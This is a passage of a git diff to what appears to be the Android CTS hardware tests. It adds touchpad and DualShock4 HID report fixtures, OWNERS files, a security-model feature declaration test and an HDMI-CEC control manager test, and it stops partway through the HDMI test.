+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0x5c, 0x26, 0x8b, 0x02, 0x0f, 0x80, 0x00, 0x00, 0x00,
+      0x64, 0x26, 0xc9, 0xd2, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86,
+      0xc4, 0xfc, 0x1f],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0x00, 0x26, 0xdf, 0xd6, 0x30, 0x80, 0x00, 0x00, 0x00,
+      0x08, 0x26, 0x02, 0x97, 0x32, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2,
+      0xc8, 0xc5, 0x75],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0x25, 0xa6, 0x25, 0x97, 0x34, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12,
+      0xde, 0xe5, 0x31]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {
+        "action": "DOWN",
+        "axes": {"AXIS_X": 63, "AXIS_Y": 25, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 64, "AXIS_RELATIVE_X": 1, "AXIS_Y": 25, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 651, "AXIS_RELATIVE_X": 587,"AXIS_Y": 240, "AXIS_RELATIVE_Y": 215,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 713, "AXIS_RELATIVE_X": 62, "AXIS_Y": 269, "AXIS_RELATIVE_Y": 29,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 1759, "AXIS_RELATIVE_X": 1046, "AXIS_Y": 781, "AXIS_RELATIVE_Y": 512,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 1794, "AXIS_RELATIVE_X": 35, "AXIS_Y": 809, "AXIS_RELATIVE_Y": 28,
+                 "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "UP",
+        "axes": {"AXIS_X": 1794, "AXIS_RELATIVE_X": 35, "AXIS_Y": 809, "AXIS_RELATIVE_Y": 28,
+                 "AXIS_PRESSURE": 1}
+      }
+    ]
+  },
+  {
+    "name": "Two fingers move from top to bottom of touchpad",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xe7, 0x9e, 0xbf, 0x25, 0x35, 0x9f, 0xae, 0xc1, 0x34,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+      0x5f, 0x68, 0x08],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x01, 0xa3, 0x20, 0xbc, 0x45, 0x05, 0x9f, 0xae, 0xc1, 0x34,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97,
+      0x74, 0xf6, 0xf0],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0xab, 0x20, 0xbc, 0x45, 0x05, 0x9f, 0xae, 0xc1, 0x34,
+      0xb3, 0x20, 0xbc, 0x45, 0x05, 0x9f, 0xae, 0xc1, 0x34, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
+      0xeb, 0x20, 0xcc],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x03, 0x1c, 0x20, 0xbb, 0x45, 0x05, 0x21, 0xff, 0xa0, 0x08,
+      0x24, 0x20, 0xbb, 0x65, 0x05, 0x21, 0xff, 0xc0, 0x08, 0x2b, 0x20, 0xbb, 0x75, 0x05, 0x21,
+      0xff, 0xe0, 0x08, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72,
+      0x2d, 0xe1, 0x0b],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x02, 0xab, 0x20, 0x7a, 0xd5, 0x35, 0x21, 0x20, 0x81, 0x34,
+      0xb2, 0x20, 0x7a, 0x25, 0x36, 0x21, 0x21, 0xe1, 0x34, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c,
+      0x4d, 0x05, 0x10],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x0a, 0x00, 0x00, 0x03, 0xb9, 0xa0, 0x7a, 0x25, 0x36, 0x21, 0x23, 0x41, 0x35,
+      0xc0, 0xa0, 0x7a, 0x25, 0x36, 0xa1, 0x23, 0x41, 0x35, 0xc7, 0xa0, 0x7a, 0x25, 0x36, 0xa1,
+      0x23, 0x41, 0x35, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa3,
+      0xc4, 0xbd, 0xb7]
+    ],
+    "source" : "TOUCHPAD",
+    "events": [
+      {
+        "action": "DOWN",
+        "axes": {"AXIS_X": 1468, "AXIS_Y": 84, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 1467, "AXIS_RELATIVE_X": -1, "AXIS_Y": 84, "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "POINTER_DOWN",
+        "pointerId": 1,
+        "axes": [
+          {"AXIS_X": 1467, "AXIS_RELATIVE_X": -1, "AXIS_Y": 84, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 255, "AXIS_Y": 138, "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1467, "AXIS_Y": 86, "AXIS_RELATIVE_Y": 2, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 255, "AXIS_Y": 140, "AXIS_RELATIVE_Y": 2, "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1467, "AXIS_Y": 87, "AXIS_RELATIVE_Y": 1, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 255, "AXIS_Y": 142, "AXIS_RELATIVE_Y": 2, "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1402, "AXIS_RELATIVE_X": -65, "AXIS_Y": 861, "AXIS_RELATIVE_Y": 774,
+           "AXIS_PRESSURE": 1},
+          {"AXIS_X": 288, "AXIS_RELATIVE_X": 33, "AXIS_Y": 840, "AXIS_RELATIVE_Y": 698,
+           "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": [
+          {"AXIS_X": 1402, "AXIS_Y": 866, "AXIS_RELATIVE_Y" : 5, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 289, "AXIS_RELATIVE_X" : 1, "AXIS_Y": 846, "AXIS_RELATIVE_Y" : 6,
+           "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "POINTER_UP",
+        "pointerId": 0,
+        "axes": [
+          {"AXIS_X": 1402, "AXIS_Y": 866, "AXIS_RELATIVE_Y" : 5, "AXIS_PRESSURE": 1},
+          {"AXIS_X": 291, "AXIS_RELATIVE_X" : 2, "AXIS_Y": 852, "AXIS_RELATIVE_Y" : 6,
+           "AXIS_PRESSURE": 1}
+        ]
+      },
+      {
+        "action": "MOVE",
+        "axes": {"AXIS_X": 291, "AXIS_RELATIVE_X" : 2, "AXIS_Y": 852,  "AXIS_RELATIVE_Y" : 6,
+        "AXIS_PRESSURE": 1}
+      },
+      {
+        "action": "UP",
+        "axes": {"AXIS_X": 291, "AXIS_RELATIVE_X" : 2, "AXIS_Y": 852,  "AXIS_RELATIVE_Y" : 6,
+        "AXIS_PRESSURE": 1}
+      }
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_usb_batteryeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_usb_batteryeventtests.json
new file mode 100644
index 0000000..99b7ec2
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_usb_batteryeventtests.json
@@ -0,0 +1,34 @@
+[
+
+  {
+    "name": "Battery 100 percent FULL",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x8c, 0x00, 0x00, 0xfb, 0x8c, 0x10, 0x0e, 0x00,
+       0x06, 0x00, 0xe6, 0xff, 0x09, 0x00, 0x87, 0x1d, 0x61, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x1b, 0x00, 0x00, 0x01, 0xf4, 0x80, 0x55, 0x70, 0x25, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80,
+       0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,
+       0x00, 0x00, 0x80, 0x00]
+    ],
+    "capacities": [1.0],
+    "status": 5   // BATTERY_STATUS_FULL
+  },
+
+  {
+    "name": "Battery 50 percent status charging",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x8c, 0x00, 0x00, 0xfb, 0x8c, 0x10, 0x0e, 0x00,
+       0x06, 0x00, 0xe6, 0xff, 0x09, 0x00, 0x87, 0x1d, 0x61, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x15, 0x00, 0x00, 0x01, 0xf4, 0x80, 0x55, 0x70, 0x25, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80,
+       0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,
+       0x00, 0x00, 0x80, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x8c, 0x00, 0x00, 0xfb, 0x8c, 0x10, 0x0e, 0x00,
+       0x06, 0x00, 0xe6, 0xff, 0x09, 0x00, 0x87, 0x1d, 0x61, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x15, 0x00, 0x00, 0x01, 0xf4, 0x80, 0x55, 0x70, 0x25, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80,
+       0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,
+       0x00, 0x00, 0x80, 0x00]
+    ],
+    "capacities": [0.55 /* kernel 5.10 or above */, 0.5 /* below kernel 5.10 */],
+    "status": 2 // BATTERY_STATUS_CHARGING
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
index 5654c50..db322d6 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x05c4,
   "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_usb_vibratortests.json b/tests/tests/hardware/res/raw/sony_dualshock4_usb_vibratortests.json
new file mode 100644
index 0000000..3bf7eaa
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_usb_vibratortests.json
@@ -0,0 +1,41 @@
+// Refer to kernel dualshock4_send_output_report() in drivers/hid/hid-sony.c
+[
+  {
+    "id": 1,
+    "durations" : [1000],
+    "amplitudes" : [192],
+    "leftFfIndex": 5,
+    "rightFfIndex": 4,
+    "output" :
+        [
+            {"index" : 0,
+            "data" : 0x5},   // DUALSHOCK4_CONTROLLER_USB | DUALSHOCK4_DONGLE
+
+            {"index" : 1,
+             "data" : 0x7},   // blink + LED + motor
+
+            {"index" : 3,
+             "data" : 0x0}
+        ]
+  },
+
+  {
+    "id": 1,
+    "durations" : [2000, 2000, 2000, 2000, 2000],
+    "amplitudes" : [16, 32, 64, 128, 255],
+    "leftFfIndex": 5,
+    "rightFfIndex": 4,
+    "output" :
+        [
+          {"index" : 0,
+            "data" : 0x5},   // DUALSHOCK4_CONTROLLER_USB | DUALSHOCK4_DONGLE
+
+            {"index" : 1,
+             "data" : 0x7},   // blink + LED + motor
+
+            {"index" : 3,
+             "data" : 0x0}
+        ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json
index d4fa66d..1dd3185 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x09cc,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0e, 0x15,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json b/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json
index 4514fd4..0aff3ab 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x09cc,
   "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42,
diff --git a/tests/tests/hardware/src/android/hardware/biometrics/OWNERS b/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
index a4737b6..2b1c07f 100644
--- a/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
+++ b/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
@@ -1,5 +1,6 @@
+# Bug component: 879035
 curtislb@google.com
 ilyamaty@google.com
 jaggies@google.com
 joshmccloskey@google.com
-kchyn@google.com
\ No newline at end of file
+kchyn@google.com
diff --git a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
new file mode 100644
index 0000000..8c562c5
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that devices correctly declare the
+ * {@link PackageManager#FEATURE_SECURITY_MODEL_COMPATIBLE} feature.
+ */
+@RunWith(AndroidJUnit4.class)
+public class SecurityModelFeatureTest {
+    private static final String ERROR_MSG = "Expected system feature missing. "
+            + "The device must declare: " + PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE;
+    private PackageManager mPackageManager;
+    private boolean mHasSecurityFeature = false;
+
+    @Before
+    public void setUp() throws Exception {
+        mPackageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
+        mHasSecurityFeature =
+            mPackageManager.hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
+    }
+
+    @Test
+    @CddTest(requirement = "2.3.5/T-0-1")
+    public void testTv() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    @Test
+    @CddTest(requirement = "2.4.5/W-0-1")
+    public void testWatch() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    @Test
+    @CddTest(requirement = "2.5.5/A-0-1")
+    public void testAuto() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    // Handheld & tablet tested via CTS Verifier
+}
diff --git a/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS b/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS
new file mode 100644
index 0000000..2b1c07f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 879035
+curtislb@google.com
+ilyamaty@google.com
+jaggies@google.com
+joshmccloskey@google.com
+kchyn@google.com
diff --git a/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiControlManagerTest.java b/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiControlManagerTest.java
new file mode 100644
index 0000000..a3ae1a1
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiControlManagerTest.java
@@ -0,0 +1,289 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.hdmi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.hardware.hdmi.HdmiControlManager;
+import android.hardware.hdmi.HdmiDeviceInfo;
+import android.hardware.hdmi.HdmiPlaybackClient;
+import android.hardware.hdmi.HdmiSwitchClient;
+import android.hardware.hdmi.HdmiTvClient;
+import android.os.SystemProperties;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class HdmiControlManagerTest {
+
+    private static final int DEVICE_TYPE_SWITCH = 6;
+    private static final int TIMEOUT_CONTENT_CHANGE_SEC = 3;
+
+    private HdmiControlManager mHdmiControlManager;
+
+    @Rule
+    public AdoptShellPermissionsRule mAdoptShellPermissionsRule = new AdoptShellPermissionsRule(
+            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+            Manifest.permission.HDMI_CEC);
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assumeTrue(context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_HDMI_CEC));
+
+        mHdmiControlManager = context.getSystemService(HdmiControlManager.class);
+    }
+
+    @Test
+    public void testHdmiControlManagerAvailable() {
+        assertThat(mHdmiControlManager).isNotNull();
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testHdmiCecPermissionRequired() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+
+        mHdmiControlManager.getConnectedDevices();
+    }
+
+    @Test
+    public void testGetHdmiClient() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient()).isInstanceOf(HdmiTvClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_TV)).isInstanceOf(
+                    HdmiTvClient.class);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient()).isInstanceOf(
+                    HdmiPlaybackClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_PLAYBACK)).isInstanceOf(
+                    HdmiPlaybackClient.class);
+        }
+        if (deviceTypes.contains("5")) {
+            assertThat(
+                    mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_AUDIO_SYSTEM)).isNotNull();
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+                false);
+        if (deviceTypes.contains("6") || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient()).isInstanceOf(HdmiSwitchClient.class);
+            assertThat(mHdmiControlManager.getClient(6)).isInstanceOf(HdmiSwitchClient.class);
+        }
+    }
+
+    @Test
+    public void testHdmiClientType() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_TV);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_PLAYBACK);
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+                false);
+
+        if (deviceTypes.contains(String.valueOf(DEVICE_TYPE_SWITCH)) || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient().getDeviceType()).isEqualTo(
+                    DEVICE_TYPE_SWITCH);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+                mHdmiControlManager.setHdmiCecEnabled(value);
+                assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled_Listener() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        assumeTrue("Skipping because option not user-modifiable",
+                mHdmiControlManager.getUserCecSettings().contains(
+                        HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED));
+        CountDownLatch notifyLatch1 = new CountDownLatch(1);
+        CountDownLatch notifyLatch2 = new CountDownLatch(2);
+        HdmiControlManager.CecSettingChangeListener listener =
+                new HdmiControlManager.CecSettingChangeListener() {
+                    @Override
+                    public void onChange(String setting) {
+                        notifyLatch1.countDown();
+                        notifyLatch2.countDown();
+                        assertThat(setting).isEqualTo(
+                                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED);
+                    }
+                };
+        try {
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            mHdmiControlManager.addHdmiCecEnabledChangeListener(listener);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_ENABLED);
